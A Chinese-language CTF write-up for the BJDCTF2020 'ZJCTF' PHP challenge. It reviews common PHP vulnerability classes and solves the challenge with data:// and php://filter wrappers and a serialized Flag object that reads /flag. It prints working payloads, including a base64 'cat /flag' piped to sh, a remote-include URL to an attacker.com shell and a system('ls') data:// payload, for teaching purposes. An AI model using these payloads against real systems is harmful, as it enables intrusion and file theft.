当前位置: 首页 > news >正文

CTF PHP代码审计实战:从文件包含到反序列化漏洞利用

1. 题目初探与核心思路解析

拿到这道题,第一眼看到标题“[BUUCTF][BJDCTF2020]ZJCTF,不过如此”,心里大概就有数了。这明显是一道CTF(Capture The Flag)的Web题目,而且从命名风格来看,属于BJDCTF 2020年的赛题。这类题目通常不会真的“不过如此”,往往在看似简单的表象下藏着一些需要仔细审计的PHP代码逻辑漏洞。结合题目名称和网络热词中高频出现的“PHP”、“代码审计”,基本可以确定这是一道PHP代码审计题,考察点很可能围绕文件包含、反序列化、命令执行或者一些PHP特性函数(如preg_replacecreate_functionassert等)的滥用。

在没有直接给出源码的情况下,我们的第一步通常是访问目标地址,查看页面返回。一个标准的CTF Web题,可能会直接给出一个登录框、一个上传点,或者干脆就是一段PHP源码。从“不过如此”这个略带调侃的标题来看,出题人可能设置了一个明显的“入口”,但真正的“Flag”藏在需要绕过的层层过滤或逻辑判断之后。常见的套路是,前端给你一个输入框,让你提交一些数据,后端用$_GET$_POST接收后,经过一系列字符串处理、正则匹配,最终如果满足某个条件,就会执行系统命令或者包含某个文件,从而拿到Flag。

因此,初步的解题思路可以沿着以下路径展开:

  1. 信息收集:访问目标URL,查看页面源代码、HTTP响应头,尝试访问robots.txtwww.zip.git等常见备份文件,寻找可能的源码泄露。
  2. 参数探测:如果页面有输入点,尝试提交常见测试payload(如1'1"1 and 1=1等)进行SQL注入、XSS等基础测试。更重要的是,观察URL参数,尝试通过?file=?page=?data=等常见参数名进行文件包含或反序列化测试。
  3. 代码审计(如果给源码):如果幸运地直接拿到了源码(比如通过index.php.bakwww.zip下载),那么重点就是逐行审计PHP代码。关注以下几个高危函数和结构:
    • 命令执行system(),exec(),shell_exec(),passthru(),popen(), 反引号(`)。
    • 代码执行eval(),assert(),create_function(),preg_replace()/e修饰符(PHP5时代),call_user_func()array_map()等。
    • 文件包含include(),require(),include_once(),require_once()。特别注意include($_GET[‘file’])这种形式,可能触发本地文件包含(LFI)或远程文件包含(RFI)。
    • 反序列化unserialize()。需要寻找代码中定义的类,并分析其__wakeup(),__destruct(),__toString()等魔术方法,看是否能在反序列化时触发危险操作。
    • 字符串处理与正则preg_match(),str_replace(),substr(),trim()等。这些函数可能用于构造过滤规则,我们需要寻找规则缺陷进行绕过。
  4. 利用与构造Payload:根据审计发现的漏洞点,构造相应的Payload。例如,对于文件包含,可能需要使用php://filter协议读取源码,或者包含/etc/passwd等系统文件;对于命令执行,需要绕过可能的escapeshellcmd()等过滤,使用管道符、空格绕过、编码等手段。

这道题既然被标记为“不过如此”,很可能存在一个经典的、教科书式的漏洞,比如一个未经过滤的include,或者一个简单的eval($_GET[‘cmd’])被藏在了某个条件分支里。我们的任务就是找到它并利用它。

2. 典型PHP代码审计漏洞点深度剖析

既然这是一道PHP代码审计题,我们有必要把常见的、在CTF中高频出现的PHP漏洞类型和关键函数再梳理一遍,形成肌肉记忆。这样在拿到源码(或通过其他方式看到部分代码)时,能快速定位到可能的危险区域。

2.1 命令执行与代码执行类

这是最直接的一类漏洞,能让攻击者在服务器上执行任意代码或系统命令。

  • eval()assert():这两个函数都会将其字符串参数作为PHP代码来执行。eval()是语言构造器,assert()在PHP 7.2之前默认执行代码,之后行为有变化,但在CTF老环境中依然常见。如果发现eval($_GET[‘input’]),那就是“送分题”,但出题人往往会加上一些过滤。
    • 绕过技巧:如果过滤了引号、分号等,可以考虑使用$_GET[x]($$_GET[y])这种可变函数调用,或者利用PHP的字符串解析特性。例如,${_GET[a]}在某些情况下可以执行。
  • system(),exec()等命令执行函数:这些函数用于调用系统命令。漏洞点在于其参数是否用户可控且未过滤。
    • 绕过技巧:如果过滤了空格,可以用${IFS}$IFS$9<>%09(Tab)等代替。如果过滤了某些关键词,可以用拼接、通配符(*?)、编码(base64、hex)等方式。例如:echo$IFS$9Y2F0IC9mbGFn|base64$IFS$9-d|sh
  • preg_replace()/e修饰符:在PHP5中,preg_replace/e修饰符允许第二个参数(替换字符串)被当作PHP代码执行。例如:preg_replace(“/.*/e”, $_GET[‘cmd’], “.”)。这在PHP7中已被移除,但老题目中常见。
  • create_function():创建一个匿名函数。其函数体由字符串拼接而成,如果用户输入被拼接进去,可能造成代码执行。例如:$func = create_function(‘$a’, ‘echo $a . ‘ . $_GET[‘input’] . ‘;’);
  • 回调函数类call_user_func(),array_map(),array_filter(),usort()等,如果其回调函数参数用户可控,也可能导致代码执行。例如:call_user_func($_GET[‘func’], $_GET[‘param’])

2.2 文件包含类

文件包含漏洞允许攻击者包含并执行服务器上的其他文件(LFI),甚至远程服务器上的文件(RFI)。

  • include/require:关键看包含的文件路径是否用户可控。例如:include($_GET[‘page’] . ‘.php’)
    • LFI利用
      1. 读取源码:使用php://filter协议。例如:?file=php://filter/read=convert.base64-encode/resource=index.php,会以base64编码形式返回index.php的源码,解码即可。
      2. 包含日志文件:包含Web服务器的访问日志(如/var/log/apache2/access.log),在User-Agent中插入PHP代码,再包含该日志文件即可执行代码。
      3. 包含Session文件:如果知道Session ID,可以尝试包含Session文件(如/tmp/sess_[sessionid])。
      4. 包含/proc/self/environ:环境变量可能包含User-Agent等信息,可被注入。
    • RFI利用:需要allow_url_include设置为On(默认Off)。可以直接包含远程服务器上的恶意PHP文件:?file=http://attacker.com/shell.txt(注意后缀,可能需要对方服务器能解析PHP)。
  • 文件包含结合伪协议:除了php://filterdata://协议也常用于执行代码。例如:?file=data://text/plain,<?php system(‘ls’);?>。但这同样需要allow_url_include开启。

2.3 反序列化类

这是PHP代码审计中较难但非常经典的一类漏洞。核心函数是unserialize()

  • 漏洞原理:当unserialize()一个用户可控的序列化字符串时,会还原出对应的对象,并自动调用该对象的__wakeup()方法。在对象被销毁时,会调用__destruct()方法。如果这些魔术方法中包含了危险操作(如文件操作、命令执行),并且操作的对象属性用户可通过序列化字符串控制,就可能造成漏洞。
  • 审计步骤
    1. 在源码中全局搜索unserialize(),找到反序列化点。
    2. 寻找代码中定义的类,分析其__wakeup(),__destruct(),__toString(),__call()等魔术方法。
    3. 构造一个该类的对象,并精心设置其属性,使得在反序列化后执行魔术方法时,能触发危险操作。
    4. 将这个对象序列化,并将序列化后的字符串传递给反序列化点。
  • POP链构造:更复杂的情况是,一个类的魔术方法调用了另一个类的方法或属性,这就需要我们将多个类“链”起来,形成一条属性导向的编程(POP)链,最终达到执行任意代码的目的。这需要对代码逻辑有更深入的理解。

2.4 字符串处理与正则过滤绕过

出题人不会让你直接执行eval($_GET[‘cmd’]),总会加上一些过滤。这时就需要绕过。

  • 黑名单过滤:用str_replace()preg_replace()等函数过滤掉一些关键词,如flagsystemcat空格/等。
    • 双写绕过:如果str_replace(“flag”, “”, $input)只执行一次,可以用flflagag绕过,过滤后变成flag
    • 大小写绕过SyStEm
    • 拼接绕过$a=’sys’;$b=’tem’;$c=$a.$b; $c(‘ls’)
    • 编码绕过:使用base64、hex、rot13等编码。例如:system(base64_decode(‘Y2F0IC9mbGFn’))
    • 通配符绕过:在命令执行中,cat fla*cat fla?
    • 空变量、特殊变量绕过cat${IFS}flagcat$IFS$9flag
  • 正则匹配preg_match()通常用于检测输入是否符合某种模式。绕过正则需要理解其模式。
    • 多行匹配绕过:如果正则用了/^...$/m(多行模式),可能通过添加换行符%0a来绕过。
    • 回溯限制绕过(PCRE):利用正则引擎的回溯机制,构造超长字符串使其耗尽回溯次数,从而绕过匹配。这就是著名的preg_match绕过导致PHP代码执行(如某些WAF绕过)。
    • 数组绕过preg_match()处理数组会返回false并报错,但有时可以利用这个特性使检测失效。例如,如果代码是if(preg_match(‘/flag/’, $_GET[‘input’])) { die(); },那么传入input[]=payloadpreg_match会对数组进行处理,返回false且可能产生警告,但程序可能继续执行。

3. 针对“ZJCTF,不过如此”的实战推演与信息收集

现在,让我们把目光拉回到这道具体的题目。由于没有给出直接的源码或URL,我们需要基于CTF解题的一般流程进行推演。假设我们通过平台(如BUUCTF)访问到了这道题。

首先,使用浏览器或curl命令访问目标地址。一个典型的返回可能是一个简单的PHP页面,上面写着“ZJCTF,不过如此”,或者有一个输入框。我们按下F12,仔细查看网页源代码。有时Flag或提示会藏在HTML注释里。用curl -i [URL]查看HTTP响应头,有时也有惊喜。

假设我们在页面源代码中发现了如下提示:

<!-- $text = $_GET["text"]; $file = $_GET["file"]; if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){ echo "<br><h1>".file_get_contents($text,'r')."</h1></br>"; if(preg_match("/flag/",$file)){ die("Not now!"); } include($file); //next.php } else { highlight_file(__FILE__); } -->

这简直是一个教科书式的文件包含+代码审计题!源码以注释形式直接给出了。我们来分析一下这段代码:

  1. 通过$_GET获取两个参数:textfile
  2. 首先检查text参数是否存在,并且通过file_get_contents($text, ‘r’)读取的内容是否严格等于字符串"I have a dream"
  3. 如果条件满足,则输出这个内容,然后检查file参数中是否包含字符串"flag",如果包含,则直接die
  4. 如果file参数不包含"flag",则执行include($file),并提示包含的文件是next.php
  5. 如果第一个条件不满足,则使用highlight_file(__FILE__)高亮显示当前文件(也就是给出这段源码)。

我们的目标显然是触发include($file),并且最终要读取到Flag(通常flag在/flagflag.php等文件中)。但现在有两个障碍:

  • 如何满足file_get_contents($text, ‘r’) === “I have a dream”
  • 如何绕过preg_match(“/flag/”, $file)的检测,最终包含到含有flag的文件?

解决第一个障碍:file_get_contents()不仅可以读取文件,还可以通过data://php://input等伪协议读取数据。要让它的返回值等于"I have a dream",最简单的方法是使用data协议:text=data://text/plain,I have a dream。这样,file_get_contents会直接读取这个字符串,条件满足。

解决第二个障碍:preg_match检测$file中是否包含flag字符串。我们的目标是包含/flagflag.php,直接写肯定被拦截。这里就需要绕过了。常见的绕过方法:

  • 利用PHP伪协议php://filter在读取文件时,路径部分(resource=后面)如果包含flag,是否会被检测?这取决于preg_match执行的时间点。preg_match是在include之前执行的,所以它检测的是我们传入的$file参数字符串。如果我们传入file=php://filter/read=convert.base64-encode/resource=/flag,这个字符串里确实包含flag,会被拦截。那怎么办?
  • 嵌套包含或路径穿越:也许next.php里面还有别的逻辑。题目提示include($file); //next.php,可能暗示我们包含next.php本身?或者包含一个不包含flag字符串,但能间接读到flag的文件。例如,如果服务器上存在/proc/self/fd/xx或日志文件,我们可以先包含它们写入代码,再二次包含执行。但这需要条件。
  • 大小写?正则/flag/是区分大小写的吗?默认是区分大小写的。所以FlagFLAG不会被匹配。但系统文件名通常是flag小写,所以用处不大。
  • 编码或二次包含:一个更可行的思路是,既然我们能控制include的文件,我们可以先包含一个我们可控的、文件名中不含flag的文件(比如通过text参数写入的临时文件?),然后在这个被包含的文件中,再去读取/flag。但这需要我们能写入文件。

等等,我们是不是忽略了什么?再看源码:if(preg_match(“/flag/”,$file)){ die(“Not now!”); }。它只检查了$file变量本身是否包含flag。如果我们让$file等于next.php呢?这是代码注释里提到的文件,应该存在。我们尝试:?text=data://text/plain,I have a dream&file=next.php

访问这个链接,如果一切顺利,我们应该会看到next.php页面的内容。这很可能就是题目的第二阶段。我们需要对next.php进行同样的代码审计。

4. 第二阶段代码审计与POP链构造实战

假设我们成功通过第一关,看到了next.php的源码(或者通过php://filter读取到了它的源码)。next.php的代码可能更加复杂,涉及类与反序列化。例如,我们可能看到如下代码:

<?php error_reporting(0); $txt = $_GET["txt"]; $file = $_GET["file"]; $password = $_GET["password"]; if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the zjctf")){ echo "<br><h1>".file_get_contents($txt,'r')."</h1></br>"; if(preg_match("/flag/",$file)){ echo "Not again!"; exit(); }else{ include($file); $password = unserialize($password); echo $password; } }else{ highlight_file(__FILE__); } ?>

以及同目录下可能有一个useless.php

<?php class Flag{ public $file; public function __tostring(){ if(isset($this->file)){ echo file_get_contents($this->file); echo "<br>"; return ("Good Job!"); } } } ?>

现在情况清晰了。第二关有三个参数:txt,file,password

  1. txt参数和第一关类似,需要满足file_get_contents($txt, ‘r’) === “welcome to the zjctf”。我们故技重施:txt=data://text/plain,welcome to the zjctf
  2. file参数同样被检测是否包含flag,我们可以先让它包含一个无害的文件,比如file=useless.php,目的是把Flag类加载到当前上下文中,为后面的反序列化做准备。
  3. password参数会被unserialize()反序列化,然后直接echo

这里的关键是unserialize($password)echo $passwordecho一个对象时,如果该对象定义了__toString()方法,就会自动调用这个方法。看useless.php中的Flag类,它正好有一个__toString()方法!这个方法会读取$this->file属性指向的文件内容并输出。

那么,攻击思路就形成了:我们构造一个Flag类的对象,将其file属性设置为Flag文件的路径(例如/flagflag.php),然后将这个对象序列化,把序列化后的字符串作为password参数的值传递过去。流程如下:

  1. 反序列化password字符串,还原出我们构造的Flag对象。
  2. echo这个对象,触发其__toString()方法。
  3. __toString()方法执行file_get_contents($this->file),即读取/flag文件。
  4. 文件内容被输出到页面上,我们就拿到了Flag。

构造Payload:首先,我们需要序列化一个Flag对象。可以写一个简单的PHP脚本:

<?php class Flag{ public $file; } $f = new Flag(); $f->file = ‘/flag‘; // 或者 ‘flag.php‘,根据实际情况尝试 echo serialize($f); ?>

运行这个脚本,得到序列化字符串:O:4:”Flag”:1:{s:4:”file”;s:5:”/flag”;}

现在,组装最终的URL:

http://[target]/next.php?txt=data://text/plain,welcome%20to%20the%20zjctf&file=useless.php&password=O:4:%22Flag%22:1:{s:4:%22file%22;s:5:%22/flag%22;}

访问这个URL,应该就能在页面上看到Flag的内容了。

这里有几个重要的实操细节和可能遇到的坑:

  1. 文件路径:Flag可能不在根目录的/flag,而在Web目录下的flag.php,或者叫flag.txt。需要尝试。有时包含flag.php会直接执行其中的PHP代码,如果代码只是定义了一个变量$flag=’xxx’;,那么直接包含不会输出,需要结合php://filter读取源码。在我们的Payload中,__toString()里的file_get_contents是读取文件内容,不是包含执行,所以对于flag.php,它读取到的是PHP源码(可能包含Flag字符串),这通常是可行的。
  2. 魔法引号或过滤:如果平台开启了magic_quotes_gpc(老版本PHP),它会自动转义单引号、双引号等,可能会破坏我们的序列化字符串。我们的Payload中使用了双引号,需要检查。不过现代CTF环境通常关闭此选项。如果遇到问题,可以尝试对序列化字符串进行URL编码(如上例所示),或者使用S类型表示序列化字符串中的字符(可处理特殊字符)。
  3. __wakeup()干扰:如果Flag类中定义了__wakeup()方法,并且在方法中重置了$file属性,我们的攻击就会失败。本题的Flag类没有__wakeup(),所以没问题。
  4. 包含顺序:一定要先通过file=useless.php包含类定义文件,否则反序列化时PHP找不到Flag类,会将其反序列化为一个__PHP_Incomplete_Class对象,__toString()方法不会触发。

5. 总结与举一反三:CTF PHP审计的核心心法

通过这道“不过如此”的题目,我们可以提炼出解决此类PHP代码审计题的一套通用心法:

第一步:信息收集与入口定位

  • 永远从浏览器直接访问开始,查看页面、源码、响应头。
  • 尝试常见源码泄露路径(.git,.svn,.DS_Store,www.zip,index.php.bak等)。
  • 扫描目录(使用dirsearch等工具),寻找其他可访问文件。
  • 观察URL参数,尝试常见参数名(file,page,id,cmd,data等)。

第二步:代码通读与危险函数定位

  • 如果拿到源码,立即全局搜索危险函数(eval,assert,system,include,require,unserialize等)。
  • 分析这些函数附近的代码逻辑,特别是用户输入($_GET,$_POST,$_COOKIE)是如何传递到这些函数的。
  • 注意条件判断、循环和过滤函数(preg_match,str_replace,trim等)。

第三步:逻辑梳理与漏洞串联

  • 不要孤立地看一个函数。理解整个程序的执行流程。用户输入从哪里进,经过哪些处理,最后到哪里去。
  • 寻找“校验-执行”逻辑的分离点。常见模式是:先进行一系列严格的校验,如果都通过,则执行某个危险操作。我们的目标就是绕过校验,或者让校验逻辑失效。
  • 注意文件包含漏洞的“链式”利用。一个包含点可能读不到flag,但可以包含日志、Session、环境变量文件,或者包含一个能写文件(如php://input+file_put_contents)的临时脚本,为下一步攻击做准备。

第四步:Payload构造与绕过

  • 针对字符串过滤,熟练掌握各种绕过技巧:编码、拼接、通配符、特殊变量、空格替换等。
  • 针对正则匹配,理解其模式,尝试多行、数组、回溯限制等绕过方式。
  • 对于反序列化,画出类的继承关系和魔术方法调用链(POP链)。从__destruct()__wakeup()等“自动调用”的方法开始,反向推导需要控制哪些属性,这些属性可能是另一个类的对象,从而形成链。
  • 善用PHP伪协议。php://filter用于读取源码,data://php://input用于传递可控数据,phar://可以触发反序列化(phar反序列化漏洞)。

第五步:测试与迭代

  • 构造的Payload先在本地或自己的测试环境验证,确保逻辑正确。
  • 提交到题目环境,仔细观察返回结果。错误信息(即使被屏蔽)有时也能通过时间延迟、差异对比等方式提供线索。
  • 如果一种方法不行,快速切换思路,尝试其他可能性。CTF题往往有多种解法。

回到本题,它巧妙地将两个常见漏洞结合:第一关是简单的伪协议绕过和文件包含(带过滤),第二关则是反序列化触发__toString()进行文件读取。题目难度适中,但完整覆盖了信息收集、代码审计、逻辑绕过、POP链构造等多个知识点,作为入门到进阶的练习非常合适。称之为“不过如此”,或许是对解题者的一种鼓励,意味着只要掌握了这些核心套路,看似复杂的题目也能迎刃而解。在实际操作中,耐心和细致的观察往往比复杂的技巧更重要。

http://www.jsqmd.com/news/1407311/

相关文章:

  • Git安装与配置全攻略:从零到精通的保姆级教程
  • AI(学习笔记第三十四课)langchain v1.0(deep agent详细学习(6)`frontend`)
  • LLM应用灰度发布实战:Feature Flag在Prompt、模型与AI行为控制中的核心价值
  • 大语言模型监督微调(SFT)实战:从原理到代码实现
  • 湖北嘉柏财税服务有限公司服务案例:4 类宜昌本地企业的财税解决方案 - 二格
  • 字体更新全流程指南:从系统缓存清理到团队版本控制
  • 计算机网络核心知识手册:从TCP/IP到HTTP/DNS的实战解析与面试指南
  • 2026成都高性价比装修团队推荐盘点:正规靠谱整装公司筛选标准与评估维度详解,附装修团队签约合作避坑FAQ指南 - 商业大观
  • 2026新疆旅行社综合实力推荐指南:全疆覆盖纯玩品质服务能力全维度测评 - 优质品牌中立测评推荐
  • 3款开源粘贴板工具整理合集,可Docker一键部署!
  • OpenClaw AI Agent 框架从零部署指南:接入本地与云端大模型实战
  • 推荐一家江苏阻燃仿古铝构件生产商:甄选 - 品牌推广大师
  • ETF 动态网格策略与参数寻优实战:基于 QuantDash 多市场分钟 K 线数据
  • 加入学术对话,而不是自说自话——用AI定位你的研究在学界的位置
  • Java25
  • 2026成都旧房翻新装修公司口碑好的怎么选?3家靠谱整装机构实力盘点推荐,附选公司避坑FAQ与签约注意事项 - U渠道
  • 2026年杭州企业做AI搜索优化,为什么越早布局越能拿到一份确定性红利? - 品牌报告
  • Keil vs VSCode vs STM32CubeIDE:嵌入式IDE对比
  • 2026年河北臭氧发生器公司人气推荐 选型实用参考 - 产品推荐官
  • 腾讯小龙虾一站式服务日:餐饮数字化实战指南与私域流量构建
  • OpenClaw+CloudBase:构建AI驱动的全自动开发部署流水线
  • 77-监控自动刷新与最新请求面板:为什么实时页要帮用户减少手工操作
  • 从URL全角空格报错看开源项目错误处理与社区协作
  • OpenClaw智能体集成OCR:实现图片文字识别与自动化处理
  • 个人博客建站
  • 2026年8月铜板生产公司口碑推荐,不锈钢扁钢/槽钢拉弯/42CrMo圆钢/大口径不锈钢管,铜板定制厂家口碑分析 - 企业权威推荐大使
  • 【2026年托运摩托车什么物流最便宜?老车友的血泪经验全在这了】 - 快递物流资讯
  • 2026新疆深度定制旅行社推荐指南:个性化出行本地资源落地履约全评测 - 优质品牌中立测评推荐
  • Android图片拼接与GIF生成原理:为什么你的图总是对不齐?
  • 2026年泸州装饰公司前五推荐核心指南,参考本文指南可避坑掉99%的服务商 - 产品推荐官